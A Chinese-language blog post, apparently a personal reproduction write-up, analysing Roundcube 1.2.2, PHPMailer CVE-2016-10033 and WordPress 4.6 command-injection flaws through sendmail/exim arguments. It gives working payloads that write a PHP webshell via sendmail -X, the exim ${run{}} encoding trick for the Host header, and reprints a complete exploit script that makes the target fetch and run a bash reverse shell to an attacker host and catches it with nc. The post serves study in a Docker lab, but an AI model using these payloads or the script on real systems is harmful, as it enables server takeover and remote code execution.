0x01 前言

因为去参加比赛,已经有一个月没有写文章了,中间玩了段时间,现在把心收回来了,坚持每周一洞的习惯。废话不多说,下面是复现PHPMailer的详细过程,一步一步来理解这个漏洞的原理。

0x02 Roundcube 1.2.2 远程命令执行漏洞分析

1.触发漏洞需满足前提

  1. Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
  2. PHP 的 mail 使用 sendmail 来发送邮件(默认)
  3. PHP 的 safe_mode 是关闭的(默认)
  4. 攻击者需要知道 Web 应用的绝对路径
  5. 攻击者可以登录到 Roundcube 并可以发送邮件
  6. 成功攻击后攻击者可远程执行任意代码。

2.代码分析

具体可以在下面的参考的文章链接详细阅读,我直接抽文件program/lib/Roundcube/rcube.php第1524-1678行:

$from参数进入mail()函数处理,通过使用-f参数获取from来传递给sendmail

public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null)
{

    // send thru SMTP server using custom SMTP library
    if ($this->config->get('smtp_server')) {
        ...
    }
    // send mail using PHP's mail() function
    else {
        ...
        if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
            $sent = mail($to, $subject, $msg_body, $header_str);
        else
            $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
        }
    }
    ...
}

有趣的部分是from参数在此之前经过了正则过滤。正常来说,$from参数内是不可以使用空格,不然可能导致在-f之后添加其他的参数。

使用$IFS或者`符号都不能绕过。但是,中间有一个逻辑流程可以导致过滤失败。

program/steps/mail/sendmail.inc

104 else if ($from_string = rcmail_email_input_format($from)) {
105   if (preg_match(/(S+@S+)/, $from_string, $m))
106        $from = trim($m1, <>);
107    else
108        $from = null;
109   }

在105行,用户可以控制的$from参数过滤之后传递给email,但是这个过滤仅仅在rcmail_email_input_format()为TRUE的时候才会有效。

下面我们来看看如何绕过:

program/steps/mail/sendmail.inc

function rcmail_email_input_format($mailto, $count=false, $check=true)
{
    global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
    // simplified email regexp, supporting quoted local part
    $email_regexp = (S+|([^]+))@S+;
    
    // replace new lines and strip ending ‘, ‘, make address input more valid
    $mailto = trim(preg_replace($regexp, $replace, $mailto));
    $items  = rcube_utils::explode_quoted_string($delim, $mailto);
    $result = array();
    foreach ($items as $item) {
        $item = trim($item);
        // address in brackets without name (do nothing)
863        if (preg_match(/^<.$email_regexp.>$/, $item)) {
            $item     = rcube_utils::idn_to_ascii(trim($item, <>));
            $result[] = $item;
        }
        
        else if (trim($item)) {
            continue;
        }
        
    }
    if ($count) {
        $RECIPIENT_COUNT += count($result);
    }
    return implode(, , $result);
}

rcmail_email_input_format这个函数在863行使用另外一个正则表达式,在匹配email的时候,行末匹配符$已经决定了要匹配的内容。

攻击者的payload不必匹配这个正则,然后在foreach循环之后$result参数仍然是空。在这种情况下,876行的implode()函数会返回一个空的字符串(这样整个函数就会返回FALSE),于是绕过了过滤。

3.构造POC

sendmail有一个-X参数,该参数将邮件流量记录在指定文件中,当使用Roundcube发送email的时候,截断HTTP请求,修改_from字段: [email protected] -OQueueDirectory=/tmp -X/var/www/html/rce.php 上述代码会导致攻击者在网站根目录下生成一个rce.php文件,里面的内容就是_subject的值 <?php phpinfo(); ?>。请求完成之后,如下的内容就会写入到文件里面:

04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: [email protected] -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: [email protected] -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<< 
04731 <<< Funny e-mail message
04731 <<< [EOF]

email的数据解码之后,传递的subject参数会解码为纯文本,然后PHP就会执行其中包含PHP标签的代码。(上面的文本就解析,类似LFI的日志包含)

0x03 PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

分析了上面的Roundcube的远程命令执行对漏洞有一定的了解了,PHPMailer就是用PHP里面的mail,PHP的mail函数是用系统的sendmail命令来执行的。

这个实验的环境也是可以从文章底部的参考链接里面有详细的搭建教程,在class.phpmailer.phpsetFrom函数。

public function setFrom($address, $name = '', $auto = true)
{
    $address = trim($address);
    $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
    // Don't validate now addresses with IDN. Will be done in send().
    if (($pos = strrpos($address, '@')) === false or
        (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
        !$this->validateAddress($address)) {
            ...
        }
        ...
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

setFrom用于设置发信方,正常情况下都是可控的。下面我们看过滤函数validateAddress(这个过滤在preSend函数中还会进行一次):

 public static function validateAddress($address, $patternselect = null)
{
        ...
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点

  1. 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
  2. 如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
  3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
  4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@

所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件:

  1. PHP版本小于5.2.0
  2. PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的)

这个时候该函数会使用noregex的方式,即只需满足三个条件即可通过过滤:

  1. 输入长度大于 3
  2. 含有@
  3. @不是最后一个字符 这三个条件很容易满足,所以在这种情况下漏洞是很容易触发的,已经有研究人员开发了相应的 PoC :https://github.com/opsxcq/exploit-CVE-2016-10033

但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。

幸运的是,已经有其他研究人员写好了 payload :

https://ghostbin.com/paste/s64ng

"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org

这里使用.%20(点+空格)来作为分隔符,经小伙伴测试发现,.%09(点+Tab)也是可以绕过的。

P神给出的绕过方法为:

aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com

0x04 WordPress <= 4.6 命令执行漏洞

漏洞信息

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

影响版本

WordPress <= 4.6

镜像信息

类型 用户名 密码
Mysql root root
/wp-admin/ admin admin123

获取环境:

1.拉取镜像到本地

$ docker pull medicean/vulapps:w_wordpress_6

2.启动环境

$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

-p 8000:80 前面的 8000 代表物理机的端口,可随意指定。

访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功

漏洞分析

漏洞页面:/wp-login.php?action=lostpassword

漏洞文件是class.phpmailer.php,我们在wordpress中搜索查看这个文件,该文件在在wp-includes目录下。

我们可以发现几行关键代码,我们发现,实际上phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname

并且我们继续审计代码发现,serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。 在上面的PHPMailer的漏洞讲述过了,sendmail提供了-O和-X参数,-X参数用于写入日志文件, 我们可以使用-OQueueDirectory=/tmp/ -X/tmp/smtp.php命令组合,它会将发送的邮件保存到/tmp/smtp.php中,但是在WordPress中就不能这样做了,因为wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到sendmail命令中。并且,添加括号引入向sendmail中注入参数的方法已经行不通了。 比如我们想要调用/bin/touch的时候也会出问题,因为host字段中如果出现/,服务器会拒绝我们的请求。

为什么sendmail能够产生命令注入漏洞呢?我们去了解一下sendmail。然后就会发现柳暗花明又一村了。我们可以知道ubuntu/debain系统中,已经使用exim4替代了sendmail的功能,我们查看sendmail文件可以发现它是一个链向exim4的软链接文件。 那么我们可以利用exim4的语法参数进行命令执行参数的拼接啊!我们查看exim4的帮助手册,可以发现-be参数可以用。

简单来说,-be参数是一个字符串拓展测试命令,它可以读取一些变量的数据。比如,$tod_log,它可以显示系统时间。

并且,exim4提供了一些函数用来执行一些命令,如字符串截取函数substr$run系统调用函数。

我们可以截取空格字符。如图所示,substr函数从第十个字符开始截取,共截取一个字符,也就是时间字符串的第11个字符,是空格字符。那么同理,我们也可以截取/字符串:

显示系统时间和劫持空格:

sendmail -be '$tod_log'
sendmail -be '${substr{10}{1}{$tod_log}}'

截取/字符串:

sendmail -be '${substr{0}{1}{$spool_directory}}'

使用$run函数调用系统命令:

sendmail -be '${run{/usr/bin/id}}'

构造payload

由上面我们可以得知:

空格 ==> ${substr{10}{1}{$tod_log}}

/ ==> ${substr{0}{1}{$spool_directory}}

构造payload如下,该payload在/tmp/目录下创建test.txt文件:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)

然后用上面的转换得出:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

我们去密码重置页面输入重置用户名为admin,提交之后拦截请求,并把host的值修改为我们的payload:

在Docker里面的环境,是一定相对独立的,所以执行这个命令不会在系统的tmp目录下生成:

POC

自动化提交payload,获取反弹shell。通过python -mSimpleHTTPServer 80建立web服务,用于目标下载shell。运行是需要用管理员权限,因为监听了80端口。

使用方法

sudo ./wordpress-rce-exploit.sh http://172.16.176.128:8000

#!/bin/bash
#
#      __                     __   __  __           __
#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
#    / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
#  /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
#            /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
#                        .;lc'
#                    .,cdkkOOOko;.
#                 .,lxxkkkkOOOO000Ol'
#             .':oxxxxxkkkkOOOO0000KK0x:'
#          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
#       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.
#      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.
#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
#     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
#     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
#     .dxxxxxdl;. .,               .. .;cdxxxxxx:
#     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:
#      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.
#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
#             .':oxxxxxxxxx.ckkkkkkkkxl,.
#                 .,cdxxxxx.ckkkkkxc.
#                    .':odx.ckxl,.
#                        .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------



rev_host="172.16.176.1"

function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";

      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"

      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
}


#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d

if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo


if [ "$choice" == "y" ]; then

echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"

# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!

# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"

echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0

fi


echo "Exiting..."
exit 0

0x05 结尾

文章有些内容是copy的,不想造轮子了,只要理解和实践成功就行了,不必浪费那些时间,有空我想写一个针对于这个漏洞的一些转换的Python工具,最近学到Python的GUI编程,想用来实践一下。

0x06 参考

https://xz.aliyun.com/t/2301

http://bobao.360.cn/news/detail/4146.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

http://vulapps.evalbug.com/w_wordpress_6/ 漏洞Docker环境